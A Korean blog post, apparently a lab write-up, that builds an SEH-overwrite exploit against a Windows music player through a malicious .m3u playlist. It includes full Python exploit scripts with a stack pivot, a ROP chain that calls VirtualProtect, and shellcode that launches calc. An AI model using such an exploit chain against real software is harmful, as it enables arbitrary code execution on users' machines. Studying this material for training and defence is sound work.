[Window Application Exploit] ROP2



본 exploit code는 이전 ROP를 수행했던 vuplayer와 같은 조건과 환경에서 실습하였습니다.


Step 1. Application

프로그램을 실행시키면 평범한 형태의 음악 재생 프로그램이라는 것을 알 수 있습니다. 이전과 마찬가지로 input 값을 넣을 수 있는 부분을 추측하자면 playlist를 추가하는 곳을 추측할 수 있습니다.

 

 

 

m3u 형태의 파일을 생성해 “A”를 20000bytes정도 넣어주었더니 아래의 그림과 같이 SEH handler가 바뀐 것을 알 수 있습니다. 따라서 SEH overwrite기법이 가능합니다.

 

패턴을 만들어 handler 함수까지의 offset을 알아낼 수 있습니다.

 

 

Step 2. 취약점

패턴을 넣어 알아낸 SEH handler까지의 offset은 5144bytes, 그리고 아래의 코드는 SEH handler 함수에 0xdeadbeef라는 문자열을 넣은 것입니다.

import struct

p = lambda x : struct.pack('<L', x)

file = open("exp.m3u", "w")

exp = ""
exp += "A" * 5144
exp += p(0xdeadbeef)

file.write(exp)
file.close()

 

아래의 그림을 보면 EIP가 0xdeadbeef로 변조되어 있는 것을 볼 수 있습니다. 그러나 SEH chain을 타야하므로 처음 excption이 일어났을 때 강제 진행을 해주어야 아래와 같은 결과를 볼 수 있습니다.

 

 

  

EIP는 성공적으로 조작한다해도 현재 esp의 위치가 문제입니다. 현재 ntdll의 한 영역을 가리키고 있기 때문에 retn opcode를 만나게 되면 공격자가 원하는 방향으로 프로그램을 조작할 수 없게됩니다. 따라서 stack pivot을 통해 stack pointer를 다른 곳으로 옮겨줘야 합니다.

 

 

  

add esp, x 가젯을 적당히 넣어 esp값이 공격자가 넣은 input 범위 내부를 가리키도록 합니다.

 

 

stack pivot을 성공했어도 retn을 만났을 때 실행되는 code는 0x41414141내부의 값입니다. 이렇게되면 오류가 뜨게되므로 nop의 위치를 찾아 nop sled를 만들어줘야 합니다.

import struct

p = lambda x : struct.pack('<L', x)

file = open("rop.m3u", "w")

pivot = 0x649c7b5a
nop = 0x649a0132
maxlen = 5144

exp = ""
exp += p(nop) * 200
exp += "A" * (maxlen - len(exp))
exp += p(pivot)

print len(exp)

file.write(exp)
file.close()

 

위와 같이 나오게 되면 적당히 nop sled를 타고 code를 실행시킬 수 있습니다.

 

따라서 위의 nop sled와 “A”가 채워진 중간에 exploit을 작성해 넣으면 됩니다. 이전에 했던 방식으로 VirtualProtect함수를 이용해 shellcode를 실행시키는 방향으로 생각해봅니다.

 

다음은 nop sled를 실행할 때의 register 값입니다. 따라서 해당 사항에 맞춰 rop chain을 만들어줍니다.

 

 

다음은 현재 만든 ROP chain입니다. pushad를 이용해서 VirtaulProtect의 인자를 구성하게 하고 SEH handler함수를 stack pivot 가젯으로 덮어 VirtualProtect가 실행되게끔 구성한 것입니다.

import struct

p = lambda x : struct.pack('<L', x)

file = open("rop.m3u", "w")

VirtualProtect = 0x76b12341
pivot = 0x649c7b5a
nop = 0x649a0132
maxlen = 5144
custom = 0x6ef9a010
pop_edi = 0x6ae80742
pop_ecx = 0x6aed7baf
pop_esi = 0x6b0c368c
xchg_eaxebp = 0x6ae18562
xchg_eaxesp = 0x6ad59602
xchg_eaxebx = 0x6b047e85 # pivot 16
xchg_eaxedx = 0x6ae63207
xchg_eaxecx = 0x6af1dcb5
push_esp_pop_ebx = 0x6adc2aff # pivot 8
#dummy = 0x6af7a654 # pivot 80
dummy = 0x90909090
xor_eaxeax = 0x64965618
inc_eax = 0x6ad79e56
add_eax_10005 = 0x6497439e
add_eax_69 = 0x6ad5c728
add_ebp_ecx = 0x6af2af13
pushad = 0x6ad7a035
push_eax_pop_ebx = 0x6b01e7f9

# stage 1. set argument
payload = ""
payload += p(xor_eaxeax)
payload += p(add_eax_69) * 8
payload += p(xchg_eaxecx)
payload += p(push_esp_pop_ebx)
payload += p(dummy) * 2
payload += p(xchg_eaxebx)
payload += p(dummy) * 4
payload += p(xchg_eaxebp)
payload += p(add_ebp_ecx) # set return address
payload += p(xor_eaxeax)
payload += p(inc_eax) * 0x40
payload += p(xchg_eaxedx) # set flNewprotect
payload += p(xor_eaxeax)
payload += p(add_eax_69) * 20
payload += p(push_eax_pop_ebx) # set size
payload += p(dummy) * 2
payload += p(pop_ecx)
payload += p(custom) # set custom
payload += p(pop_esi)
payload += p(VirtualProtect)
payload += p(pop_edi)
payload += p(nop)
payload += p(pushad)


# final exploit
exp = ""
exp += p(nop) * 260
exp += payload
exp += p(nop) * ((maxlen - len(exp)) / 4)
exp += p(pivot)

print "[] length: %d" % len(exp)

file.write(exp)
file.close()

 

Nop sled를 추가적으로 return address가 가리키는 방향에 넣어주고 실행을 따라가보면 VirtualProtect로 실행 권한을 얻게 되어 nop sled가 정상적으로 실행 되는 것을 볼 수 있습니다.

 

eip가 계속 nop 을 실행시키므로 stack을 따로 조작할 필요는 없고 nop sled 중간에 shellcode만 넣어주면 정상적으로 실행되게 됩니다.

 

 

Step 3. Exploit

nop sled 이후 shellcode를 넣어 현재 완성된 exploit은 아래와 같습니다.

import struct

p = lambda x : struct.pack('<L', x)

file = open("rop.m3u", "w")

VirtualProtect = 0x76b12341
pivot = 0x649c7b5a
nop = 0x649a0132
maxlen = 5144
custom = 0x6ef9a010
pop_edi = 0x6ae80742
pop_ecx = 0x6aed7baf
pop_esi = 0x6b0c368c
xchg_eaxebp = 0x6ae18562
xchg_eaxesp = 0x6ad59602
xchg_eaxebx = 0x6b047e85 # pivot 16
xchg_eaxedx = 0x6ae63207
xchg_eaxecx = 0x6af1dcb5
push_esp_pop_ebx = 0x6adc2aff # pivot 8
#dummy = 0x6af7a654 # pivot 80
dummy = 0x90909090
xor_eaxeax = 0x64965618
inc_eax = 0x6ad79e56
add_eax_10005 = 0x6497439e
add_eax_69 = 0x6ad5c728
add_ebp_ecx = 0x6af2af13
pushad = 0x6ad7a035
push_eax_pop_ebx = 0x6b01e7f9

calc = (
	"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
	"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
	"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
	"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
	"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
	"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")


# stage 1. set argument
payload = ""
payload += p(xor_eaxeax)
payload += p(add_eax_69) * 8
payload += p(xchg_eaxecx)
payload += p(push_esp_pop_ebx)
payload += p(dummy) * 2
payload += p(xchg_eaxebx)
payload += p(dummy) * 4
payload += p(xchg_eaxebp)
payload += p(add_ebp_ecx) # set return address
payload += p(xor_eaxeax)
payload += p(inc_eax) * 0x40
payload += p(xchg_eaxedx) # set flNewprotect
payload += p(xor_eaxeax)
payload += p(add_eax_69) * 20
payload += p(push_eax_pop_ebx) # set size
payload += p(dummy) * 2
payload += p(pop_ecx)
payload += p(custom) # set custom
payload += p(pop_esi)
payload += p(VirtualProtect)
payload += p(pop_edi)
payload += p(nop)
payload += p(pushad)


# final exploit
exp = ""
exp += p(nop) * 260
exp += payload
#exp += p(nop) * ((maxlen - len(exp)) / 4)
exp += "\x90" * (maxlen - len(exp) - len(calc))
exp += calc
exp += p(pivot)

print "[] length: %d" % len(exp)

file.write(exp)
file.close()

 

해당 exploit code를 넣으면 정상적으로 계산기가 실행되는 것을 볼 수 있습니다.

 

'System > Windows' 카테고리의 다른 글

[Browser Exploit] 3 Step To Exploit Edge  (0) 2017.09.20
[Window Application Exploit] ROP  (0) 2017.09.15
[Kernel] Kernel Shellcode Analysis  (0) 2017.09.13
[Kernel] Kernel Shellcode  (0) 2017.09.11
[Kernel] Kernel Pool Attack  (0) 2017.09.08

이 글을 공유하기

댓글